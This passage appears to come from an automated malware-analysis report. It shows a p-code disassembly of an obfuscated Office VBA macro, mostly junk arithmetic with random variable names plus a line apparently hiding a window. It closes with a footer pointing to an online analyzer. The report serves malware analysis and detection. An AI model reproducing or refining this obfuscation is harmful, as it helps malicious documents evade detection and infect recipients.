' 	Ld EADC4ZQ 
' 	Ld N4wC1AZZ 
' 	Mul 
' 	LitDI4 0x9A5A 0x028F 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St PAAwCQ 
' Line #56:
' 	Ld f4GAxA 
' 	Ld ZZwoAQG 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld zDooA_U 
' 	LitDI4 0x96C0 0x1DAB 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld bXAGAAx 
' 	Div 
' 	LitDI4 0x629B 0x0084 
' 	Ld iBXZxwc 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld bx_kUU 
' 	Div 
' 	LitDI4 0xE227 0x0F46 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xF16F 0x31AF 
' 	Mul 
' 	Ld MoA1A_AD 
' 	LitDI4 0x39A6 0x31E9 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St sBAAAG 
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	Ld sA4AkxAB 
' 	Ld dGQ44ZAB 
' 	Eq 
' 	IfBlock 
' Line #59:
' 	LitDI4 0x4757 0x210F 
' 	Ld mAAxAxok 
' 	Ld BA_GCAA4 
' 	Mul 
' 	LitDI4 0xEF0C 0x16AA 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St hwxxkGA 
' Line #60:
' 	Ld QCAAwG 
' 	Ld kDo44UB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld DAAUBwU 
' 	LitDI4 0xCAF8 0x1CB8 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZQU_AX 
' 	Div 
' 	LitDI4 0xF14B 0x189A 
' 	Ld tAQUUAxD 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld jkABAAAU 
' 	Div 
' 	LitDI4 0x3822 0x01D9 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xBE68 0x2A08 
' 	Mul 
' 	Ld lkUAXDow 
' 	LitDI4 0xFA49 0x1B3A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St CB1QAAUA 
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	Ld kCDBAGwU 
' 	Ld EBA1AA 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	LitDI4 0xBF6A 0x2DC2 
' 	Ld DAAocA 
' 	Ld KoBAUAk 
' 	Mul 
' 	LitDI4 0x8DEA 0x12CC 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St v_Qc1A4B 
' Line #64:
' 	Ld E1B1oAwA 
' 	Ld AQ1AAAD 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld lABQoA 
' 	LitDI4 0x9FE4 0x3640 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld uAw1ABwZ 
' 	Div 
' 	LitDI4 0xAD42 0x388D 
' 	Ld sAxckA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld qCDAcXwQ 
' 	Div 
' 	LitDI4 0x8581 0x1035 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xC322 0x0B23 
' 	Mul 
' 	Ld wBBUAAc 
' 	LitDI4 0xDE2A 0x290F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St wBDkQoAU 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	Ld ShOwWiNdOw 
' 	Ld kAAAAA_U 
' 	MemLd wUwkCAC 
' 	Add 
' 	Ld CXUADo 
' 	Add 
' 	Ld h1ZkDQ 
' 	MemSt pAADoD 
' Line #67:
' 	Ld jUAUxUc 
' 	Ld QXG4BwGD 
' 	Eq 
' 	IfBlock 
' Line #68:
' 	LitDI4 0xFE71 0x0B66 
' 	Ld ExBAwo 
' 	Ld JB_oAA4 
' 	Mul 
' 	LitDI4 0x2135 0x3751 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St TB_ACQo 
' Line #69:
' 	Ld qAkCAo 
' 	Ld m_AAADA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld iAZZQBAA 
' 	LitDI4 0xD185 0x221E 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld V_AcA1BD 
' 	Div 
' 	LitDI4 0xC0E7 0x06CF 
' 	Ld aB_AXk 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld SAZ1Ax 
' 	Div 
' 	LitDI4 0xC84F 0x37EA 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x43DA 0x1CC0 
' 	Mul 
' 	Ld PQXUAxxC 
' 	LitDI4 0xBCE7 0x13E3 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St mAQ4XB 
' Line #70:
' 	EndIfBlock 
' Line #71:
' 	Ld IxQGGD 
' 	Ld PAAxwAA 
' 	Eq 
' 	IfBlock 
' Line #72:
' 	LitDI4 0x566B 0x3B34 
' 	Ld aDXQBwUc 
' 	Ld FAZQAUAU 
' 	Mul 
' 	LitDI4 0x8A6C 0x2128 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St ZAXGQXx 
' Line #73:
' 	Ld wkDAXQZA 
' 	Ld N1GAUA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld qUACAAA 
' 	LitDI4 0x7DCE 0x0763 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld X1GDAo 
' 	Div 
' 	LitDI4 0x40DD 0x3113 
' 	Ld IABCA_XU 
' 	ArgsLd Log 0x0001 
…

Open this report in the interactive analyzer, or submit your own file for analysis.